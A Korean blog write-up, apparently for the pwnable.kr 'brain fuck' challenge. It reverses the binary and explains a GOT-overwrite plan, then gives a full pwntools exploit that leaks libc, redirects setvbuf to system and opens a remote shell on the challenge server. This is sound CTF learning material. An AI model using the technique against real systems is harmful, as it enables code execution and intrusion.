Pwnstar

Pwnable.kr brain fuck 본문

Pwnable.kr/Rookiss

Pwnable.kr brain fuck

포너블처돌이 2020. 3. 24. 01:33

드디어 루키스 문제이다. brain fuck이라는 문제인데, 

 

 

링크로 들어가면 libc파일 하나와 바이너리 파일 하나를 다운받을 수 있다.

 

우선 보호기법을 확인해보자.

 

32비트 파일이고, 카나리와 NX가 걸려있다.

 

내가 brain fuck이라는 언어를 모른다는 것이 문제를 풀 때 큰 장애가 될 것 같았는데 막상 풀어보니 그렇지도 않았다 오히려 문제는 다른 곳에서 터졌다.

 

IDA

아이다로 열어본 메인함수이다. []를 제외한 브레인퍽 문법을 입력하라는데 이 부분에서는 fgets로 입력받기 때문에 bof가 불가능할 것 같다. 

 

do_brainfuck 함수이다.

 

이렇게 되어있는데 간단히 설명하자면

 

"+"    "-"    ","    "."    ">"    "<" 이렇게 네 가지의 입력을 받을 수 있고, "["를 입력하면 [ and ] not supported라는 문자열이 뜬다.

 

처음 p의 주소는

 

0x804A080으로 되어있으며 이 주소엔

 

tape의 주소가 들어있다. 그리고 <를 입력하면

&p -1이 되고,

 

>를 입력하면

&p +1이 되고

 

+를 입력하면

*p +1이 되고

 

-1을 입력하면 

 

*p -1이 된다.

 

,를 입력하면

한번에 한 바이트씩 입력할 수 있으며, "<" 나 ">"와 함께 써야한다.

 

.를 입력하면 *p의 한 바이트를 출력해준다.

 

이렇게 포인터를 가지고 놀 수 있는데, 이걸 이용해서 got overwrite를 할 수 있을 것 같다는 생각이 들었다. 사실 bof도 할 수야 있진 않을까 생각했는데, 까나리 릭을 하기가 싫었다..

 

맨 처음엔 시나리오를 이렇게 짰다.

 

1. tape이 bss영역이니, 이 곳에 "/bin/sh\x00" 문자열을 입력

2. puts got 출력

3. puts got와 system got의 offset을 이용해 puts got를 overwrite

4. system("/bin/sh\x00")을 실행

 

이렇게 짰는데... 도저히 put got에 "/bin/sh\x00"를 인자로 줄 방법을 못찾았다.

 

그래서 여기서 거의 이틀가량 고민하다가 찾은 방법이 setvbuf 함수를 이용하는 것이다.

 

메인함수에서 setvbuf에 stdout, stdin 등을 사용해서 실행하는 부분이 있는데 이 stdin이나 stdout을 "/bin/sh\x00" 문자열의 주소로 덮어쓰면 될 것 같다는 생각이 들었다.

 

그래서 시나리오를 다시 짰다.

기존의 시나리오에서 3번부터 바꾸었다

 

1. tape이 bss영역이니, 이 곳에 "/bin/sh\x00" 문자열을 입력

2. puts got 출력

3. puts got를 main함수의 setvbuf 실행시키는 부분으로 overwrite

4. setvbuf got와 system got와의 offset을 이용해 setvbuf got를 system got로 overwrite

5. 마지막으로 "[" 를 입력해서 main(setvbuf) 함수 실행

 

이렇게 시나리오를 짜고 익스를 짰다.

페이로드의 각 부분에 주석을 달아놔서 따로 설명은 안해도 될 것 같다.

from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

r = remote("pwnable.kr", 9001)
#r = process("./bf")

#gdb.attach(r)

libc = ELF("./bf_libc.so")

stdin = 0x804a040
setv_got = 0x804a028
puts_got = 0x804a018
bss = 0x804A0A0
main = 0x08048694

r.recvuntil("type some brainfuck instructions except [ ]\n")

payload = ",>,>,>,>,>,>,>,"   #write "/bin/sh\x00" in bss -> 0x0804a01b
payload += "<" * 72           #set pointer to stdin -> 0x804a040
payload += ",>,>,>,>,"        #write bss into stdin  -> 0x804a043

payload += "<" * 76           #set pointer to puts got -> 0x804a018
####

payload += ">.>.>.>."          #print puts got -> 0x804a01b
payload += "<<<<"             #set pointer to puts got again -> 0x804a018
payload += ",>,>,>,>,>,"        #write main into puts got -> 0x804a01c
#no problem so far

payload += ">" * 12           #set pointer to setvbuf got -> 0x804a028
payload += ",>,>,>,>,"        #write system got to setvbuf

payload += "["                #puts

r.sendline(payload)
r.sendline("/bin/sh\x00")
#raw_input()
sleep(1)
r.sendline(p32(bss))
sleep(3)
puts_got = u32(r.recv(4))
log.info("puts got = " + hex(puts_got))

puts_off = libc.symbols['puts']
system_off = libc.symbols['system']
libc_base = puts_got-puts_off
log.info("libc base = " + hex(libc_base))
sys_got = libc_base+system_off
log.info("system got = " + hex(sys_got))

sleep(1)
r.sendline(p32(main))
#raw_input()
sleep(1)
r.sendline(p32(sys_got))
#raw_input()
r.interactive()

 

 

이렇게 문제를 푸는데는 성공했는데..

다른 분들 라업을 보니 코드가 훨씬 간결한 분들이 많았다ㅎㅎ;;

 

좀 더 공부하자

 

끗!!

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr tiny_easy  (0) 2020.06.25
Pwnable.kr dragon  (0) 2020.06.16
Pwnable.kr ascii_easy  (0) 2020.06.16
Pwnable.kr md5 calulator  (0) 2020.06.16
Pwnable.kr simple login  (0) 2020.06.10
Comments